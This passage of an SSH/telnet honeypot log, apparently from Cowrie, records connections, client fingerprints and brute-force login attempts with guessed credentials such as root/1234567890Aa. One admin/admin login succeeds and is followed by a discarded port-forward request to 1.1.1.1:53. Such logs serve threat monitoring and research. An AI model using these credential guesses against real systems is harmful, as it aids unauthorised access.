"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:48.101616Z","src_ip":"103.153.68.219","session":"dfb09cfc6a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjcrdf","message":"login attempt [root/vjcrdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:48.833388Z","src_ip":"103.153.68.219","session":"dfb09cfc6a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:50.078947Z","src_ip":"103.153.68.219","session":"dfb09cfc6a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":51888,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a1142f0af5c","protocol":"ssh","message":"New connection: 43.153.65.139:51888 (10.17.0.5:22) [session: 3a1142f0af5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:08.519309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:08.525120Z","src_ip":"43.153.65.139","session":"3a1142f0af5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:08.594187Z","src_ip":"43.153.65.139","session":"3a1142f0af5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890Aa","message":"login attempt [root/1234567890Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:08.898636Z","src_ip":"43.153.65.139","session":"3a1142f0af5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:09.971450Z","src_ip":"43.153.65.139","session":"3a1142f0af5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7460,"dst_ip":"10.17.0.5","dst_port":22,"session":"37064fc60c2b","protocol":"ssh","message":"New connection: 87.251.64.176:7460 (10.17.0.5:22) [session: 37064fc60c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:13.357019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:13.362305Z","src_ip":"87.251.64.176","session":"37064fc60c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:13.462278Z","src_ip":"87.251.64.176","session":"37064fc60c2b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:13.751720Z","src_ip":"87.251.64.176","session":"37064fc60c2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:13.851610Z","session":"37064fc60c2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:13.952130Z","src_ip":"87.251.64.176","session":"37064fc60c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:14.053603Z","src_ip":"87.251.64.176","session":"37064fc60c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":59904,"dst_ip":"10.17.0.5","dst_port":22,"session":"04535b2cd9ce","protocol":"ssh","message":"New connection: 43.153.50.142:59904 (10.17.0.5:22) [session: 04535b2cd9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:33.817267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:33.822171Z","src_ip":"43.153.50.142","session":"04535b2cd9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:33.890451Z","src_ip":"43.153.50.142","session":"04535b2cd9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.96556043624878,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:33.905858Z","src_ip":"152.42.224.71","session":"f11e3dad33c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"telkom","password":"telkom123","message":"login attempt [telkom/telkom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:34.194922Z","src_ip":"43.153.50.142","session":"04535b2cd9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:35.266426Z","src_ip":"43.153.50.142","session":"04535b2cd9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40236,"dst_ip":"10.17.0.5","dst_port":22,"session":"767f64076108","protocol":"ssh","message":"New connection: 103.195.236.96:40236 (10.17.0.5:22) [session: 767f64076108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:43.603901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:43.608579Z","src_ip":"103.195.236.96","session":"767f64076108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:43.846876Z","src_ip":"103.195.236.96","session":"767f64076108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angelika","message":"login attempt [root/angelika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:44.565790Z","src_ip":"103.195.236.96","session":"767f64076108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:45.823635Z","src_ip":"103.195.236.96","session":"767f64076108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27488473d33","protocol":"telnet","message":"New connection: 152.42.224.71:58546 (10.17.0.5:23) [session: b27488473d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:59:47.683754Z"}
{"eventid":"cowrie.session.closed","duration":113.91470766067505,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:11.074321Z","src_ip":"152.42.224.71","session":"d24e7eaddee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":54266,"dst_ip":"10.17.0.5","dst_port":22,"session":"fae650863d58","protocol":"ssh","message":"New connection: 39.117.79.36:54266 (10.17.0.5:22) [session: fae650863d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:14.698309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:14.703354Z","src_ip":"39.117.79.36","session":"fae650863d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:14.903234Z","src_ip":"39.117.79.36","session":"fae650863d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test_123","message":"login attempt [root/Test_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:15.725729Z","src_ip":"39.117.79.36","session":"fae650863d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":55914,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d629717be30","protocol":"ssh","message":"New connection: 43.153.65.139:55914 (10.17.0.5:22) [session: 4d629717be30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:16.830828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:16.836780Z","src_ip":"43.153.65.139","session":"4d629717be30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:16.909460Z","src_ip":"43.153.65.139","session":"4d629717be30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:16.932119Z","src_ip":"39.117.79.36","session":"fae650863d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ly","password":"123","message":"login attempt [ly/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:17.222620Z","src_ip":"43.153.65.139","session":"4d629717be30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:18.301549Z","src_ip":"43.153.65.139","session":"4d629717be30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.66226363182068,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:24.345844Z","src_ip":"152.42.224.71","session":"b27488473d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8970100a3d2","protocol":"telnet","message":"New connection: 152.42.224.71:53006 (10.17.0.5:23) [session: a8970100a3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:26.053577Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":55796,"dst_ip":"10.17.0.5","dst_port":22,"session":"49e300cf3d10","protocol":"ssh","message":"New connection: 43.153.50.142:55796 (10.17.0.5:22) [session: 49e300cf3d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:40.740958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:40.750576Z","src_ip":"43.153.50.142","session":"49e300cf3d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:40.818915Z","src_ip":"43.153.50.142","session":"49e300cf3d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"123456","message":"login attempt [pool/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:41.123380Z","src_ip":"43.153.50.142","session":"49e300cf3d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:42.194771Z","src_ip":"43.153.50.142","session":"49e300cf3d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.04748010635376,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:00:50.100892Z","src_ip":"152.42.224.71","session":"a8970100a3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49508,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e96f742b145","protocol":"ssh","message":"New connection: 77.94.47.83:49508 (10.17.0.5:22) [session: 9e96f742b145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:06.512899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:06.517866Z","src_ip":"77.94.47.83","session":"9e96f742b145","protocol":"ssh"}
